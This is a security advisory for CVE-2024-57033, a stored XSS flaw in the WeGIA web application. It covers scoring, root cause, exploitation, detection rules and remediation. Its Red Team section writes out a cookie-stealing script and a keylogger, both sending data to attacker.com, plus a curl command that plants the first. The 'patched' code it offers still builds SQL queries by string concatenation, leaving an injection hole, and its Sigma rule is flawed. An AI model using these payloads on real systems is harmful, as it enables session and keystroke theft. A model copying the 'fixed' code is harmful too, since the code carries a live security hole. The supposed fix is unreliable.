CVE-2024-57033

Executive Summary

CVE-2024-57033 is a stored Cross-Site Scripting (XSS) vulnerability in WeGIA versions prior to 3.2.0. The flaw exists in the dados_addInfo parameter of documentos_funcionario.php, allowing an unauthenticated attacker to inject arbitrary JavaScript into the application. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) due to low attack complexity and no privileges required, but requires user interaction. No public exploit code or Nuclei template is available, but the attack vector is straightforward.

Supply Chain & Package Security

WeGIA is a PHP-based web application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations using WeGIA should treat this as a critical supply chain risk if the application is used to manage sensitive employee or document data.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must visit the malicious page.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (6.1). The requirement for user interaction reduces the severity, but the lack of authentication and potential for session theft makes it a realistic attack vector in social engineering campaigns.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the dados_addInfo parameter of documentos_funcionario.php. The application fails to sanitize or encode user-supplied input before storing it in the database and later rendering it in the browser. An attacker can submit a POST request with a malicious payload in the dados_addInfo field. When an administrator or other user views the affected document, the payload executes in their browser context.

Root Cause: The input is not validated or escaped using functions like htmlspecialchars() or strip_tags() before being stored or displayed.

Attack Flow:

1. Attacker identifies a WeGIA instance (e.g., via Shodan dork).
2. Attacker sends a POST request to documentos_funcionario.php with dados_addInfo=<script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When a victim (e.g., admin) views the document, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (WeGIA < 3.2.0):

// documentos_funcionario.php (simplified)
$dados_addInfo = $_POST['dados_addInfo'];
// Directly stored without sanitization
$query = "INSERT INTO documentos (addInfo) VALUES ('$dados_addInfo')";
mysqli_query($conn, $query);
// Later, output without escaping
echo "<div>" . $row['addInfo'] . "</div>";

Patched Code (WeGIA 3.2.0):

// documentos_funcionario.php (simplified)
$dados_addInfo = $_POST['dados_addInfo'];
// Sanitize input
$dados_addInfo = htmlspecialchars($dados_addInfo, ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO documentos (addInfo) VALUES ('$dados_addInfo')";
mysqli_query($conn, $query);
// Output is now safe
echo "<div>" . $row['addInfo'] . "</div>";

The patch uses htmlspecialchars() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WeGIA instance < 3.2.0 (e.g., Docker container or local install).
• A web browser or tool like curl.

Exploit Steps:

1. Identify the target endpoint: http://target-wegia/documentos_funcionario.php.
2. Craft a payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send the payload via POST:

   curl -X POST http://target-wegia/documentos_funcionario.php \
     -d "dados_addInfo=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"
   

4. Wait for an admin to view the document. The cookie will be sent to your server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    new Image().src = 'http://attacker.com/log.php?k=' + e.key;
}
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web logs for POST requests to documentos_funcionario.php containing <script> or onerror patterns.
• Use WAF rules to block common XSS payloads in the dados_addInfo parameter.

Hardening:

• Upgrade to WeGIA 3.2.0 immediately.
• If upgrade is not possible, apply a virtual patch using a WAF (e.g., ModSecurity):

  SecRule ARGS:dados_addInfo "@rx <script" "id:1001,deny,status:403,msg:'XSS Attempt'"
  

• Implement Content Security Policy (CSP) headers to mitigate impact:

  Header set Content-Security-Policy "default-src 'self'; script-src 'none';"
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /documentos_funcionario.php with dados_addInfo containing <script> tags.
  • Outbound connections to attacker-controlled domains from the WeGIA server.
• File IOCs:
  • Log entries in /var/log/apache2/access.log or similar showing the malicious POST.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser when viewing employee documents.
  • Session cookies being exfiltrated to external hosts.

Detection Engineering

YARA Rule

rule CVE_2024_57033_XSS_WeGIA {
    meta:
        description = "Detects XSS payloads targeting WeGIA documentos_funcionario.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57033"
    strings:
        $xss_payload = /dados_addInfo=.*<script/i
        $xss_event = /dados_addInfo=.*on\w+=/i
    condition:
        any of them
}

Sigma Rule

title: WeGIA XSS via dados_addInfo Parameter
id: 7b8c3d2e-1f4a-5b6c-7d8e-9f0a1b2c3d4e
status: experimental
description: Detects POST requests to documentos_funcionario.php with XSS payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/documentos_funcionario.php'
        cs-uri-query|contains: 'dados_addInfo='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in the field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57033 WeGIA XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/documentos_funcionario.php"; http_uri; content:"dados_addInfo="; http_client_body; pcre:"/<script|on\w+=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to WeGIA 3.2.0 or later. This is the only complete fix.
2. Compensating Controls:
   • Deploy a WAF with rules to block XSS payloads in the dados_addInfo parameter.
   • Restrict access to documentos_funcionario.php via IP whitelisting or VPN.
   • Enable CSP headers to prevent script execution.
3. Monitoring: Review web server logs for exploitation attempts and investigate any alerts from the Sigma/Suricata rules.
4. User Training: Educate users not to click on suspicious links or open untrusted documents within WeGIA.

Valters IT